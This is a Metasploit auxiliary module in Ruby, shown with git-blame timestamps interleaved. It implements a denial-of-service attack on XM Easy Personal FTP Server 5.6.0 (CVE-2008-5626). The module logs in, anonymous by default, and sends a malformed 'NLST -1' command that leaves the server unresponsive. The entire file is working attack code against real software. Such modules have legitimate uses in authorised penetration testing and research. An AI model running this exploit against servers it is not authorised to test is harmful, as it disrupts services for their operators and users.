2009-01-09 05:33:26 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
|
2008-10-13 23:52:08 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
This module is a port of shinnai's script. You need
|
|
|
|
a valid login, but even anonymous can do it as long
|
|
|
|
as it has permission to call NLST.
|
|
|
|
},
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-5626'],
|
|
|
|
[ 'OSVDB', '50837'],
|
|
|
|
[ 'EDB', '6741' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 13 2008'))
|
|
|
|
|
|
|
|
# They're required
|
|
|
|
register_options([
|
|
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
|
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
return unless connect_login
|
|
|
|
|
|
|
|
raw_send("NLST -1\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
print_status("OK, server may still be technically listening, but it won't respond")
|
|
|
|
end
|
2008-10-30 00:52:38 +00:00
|
|
|
end
|